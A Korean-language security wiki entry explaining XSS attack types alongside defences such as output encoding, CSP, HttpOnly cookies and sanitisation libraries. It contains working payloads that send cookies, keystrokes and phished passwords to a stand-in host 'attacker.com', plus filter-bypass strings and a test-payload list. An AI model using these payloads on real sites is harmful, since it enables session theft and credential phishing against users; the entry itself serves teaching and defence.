상위: Web Security
요약
XSS(Cross-Site Scripting)는 웹 페이지에 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행시키는 공격입니다. 쿠키 탈취, 세션 하이재킹, 피싱 등에 악용됩니다.
공격 원리
1. 공격자가 악성 스크립트를 웹사이트에 삽입
2. 피해자가 해당 페이지 방문
3. 피해자의 브라우저에서 악성 스크립트 실행
4. 쿠키/세션/개인정보 탈취
공격자 → [악성 스크립트 삽입] → 웹서버 → [페이지 응답] → 피해자 브라우저
↓
스크립트 실행 → 정보 탈취
공격 유형
1. Stored XSS (저장형)
악성 스크립트가 서버에 저장되어 모든 방문자에게 실행
시나리오: 게시판 댓글
<!-- 공격자가 작성한 댓글 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
1. 공격자가 댓글에 스크립트 작성
2. 서버 DB에 저장
3. 다른 사용자가 게시글 조회
4. 모든 조회자의 쿠키 탈취
위험도: 🔴 매우 높음 (불특정 다수 피해)
2. Reflected XSS (반사형)
URL 파라미터에 스크립트를 넣어 피해자에게 클릭하게 유도
시나리오: 검색 기능
정상 URL: https://shop.com/search?q=노트북
공격 URL: https://shop.com/search?q=<script>alert('XSS')</script>
<!-- 서버 응답 -->
<h1>검색 결과: <script>alert('XSS')</script></h1>
공격 흐름:
1. 공격자가 악성 URL 생성
2. 피해자에게 링크 전송 (이메일, 메시지 등)
3. 피해자가 클릭하면 스크립트 실행
위험도: 🟠 높음 (피해자가 클릭해야 함)
3. DOM-based XSS
서버 거치지 않고 클라이언트 JavaScript에서 발생
취약한 코드:
// URL: https://site.com/page#<img src=x onerror=alert('XSS')>
// 취약한 코드
document.getElementById('output').innerHTML = location.hash.slice(1);
위험도: 🟠 높음 (서버 로그에 안 남아 탐지 어려움)
실제 공격 페이로드
쿠키 탈취
<script>
new Image().src='https://attacker.com/steal?c='+document.cookie;
</script>
키로거 삽입
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
피싱 폼 삽입
<script>
document.body.innerHTML = `
<h1>세션 만료</h1>
<form action="https://attacker.com/phish">
<input name="id" placeholder="아이디">
<input name="pw" type="password" placeholder="비밀번호">
<button>로그인</button>
</form>
`;
</script>
다양한 우회 기법
<!-- 기본 -->
<script>alert(1)</script>
<!-- 이벤트 핸들러 -->
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<!-- 인코딩 우회 -->
<script>alert(1)</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<!-- 대소문자 우회 -->
<ScRiPt>alert(1)</ScRiPt>
<!-- 공백 우회 -->
<script/src=https://attacker.com/xss.js></script>
취약한 코드 vs 안전한 코드
취약한 코드
// innerHTML 사용 (위험!)
element.innerHTML = userInput;
// document.write 사용 (위험!)
document.write(userInput);
// eval 사용 (매우 위험!)
eval(userInput);
안전한 코드
// textContent 사용 (안전)
element.textContent = userInput;
// 라이브러리 사용
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
방어 방법
1. 출력 인코딩 (가장 중요)
# Python (Jinja2)
{{ user_input }} # 자동 이스케이프
{{ user_input | safe }} # 위험! 사용 금지
# 결과: <script> → <script>
2. Content Security Policy (CSP)
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.com;
style-src 'self' 'unsafe-inline';
CSP 효과:
inline 스크립트 차단: <script>alert(1)</script> ❌
외부 스크립트 제한: <script src="https://attacker.com"> ❌
3. HttpOnly 쿠키
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
효과: JavaScript에서 쿠키 접근 불가
document.cookie // 빈 문자열 반환
4. 입력값 검증
import bleach
# 허용된 태그만 통과
clean = bleach.clean(user_input, tags=['p', 'br', 'strong'])
5. WAF 적용
- AWS WAF - XSS 탐지 규칙
- Cloudflare - OWASP 관리 규칙
Context별 인코딩
| Context | 인코딩 방법 | 예시 |
|---|---|---|
| HTML Body | HTML Entity | < → < |
| HTML Attribute | Attribute Encoding | " → " |
| JavaScript | JS Encoding | ' → \' |
| URL | URL Encoding | < → %3C |
| CSS | CSS Encoding | < → \3C |
테스트 페이로드
<!-- 기본 테스트 -->
<script>alert('XSS')</script>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
<!-- 이벤트 핸들러 -->
"><img src=x onerror=alert('XSS')>
" autofocus onfocus=alert('XSS') "
<!-- SVG -->
<svg/onload=alert('XSS')>
<!-- 인코딩 -->
%3Cscript%3Ealert('XSS')%3C/script%3E
탐지 도구
| 도구 | 용도 |
|---|---|
| Burp Suite | 수동 테스트 |
| XSStrike | 자동화 XSS 탐지 |
| OWASP ZAP | 통합 보안 스캐너 |
| DOMPurify | 런타임 Sanitization |
관련 공격
- CSRF - 사용자 권한으로 요청 위조
- Clickjacking - 클릭 유도 공격
- Session Hijacking - 세션 탈취
- Reverse Tabnabbing - 탭 변조 공격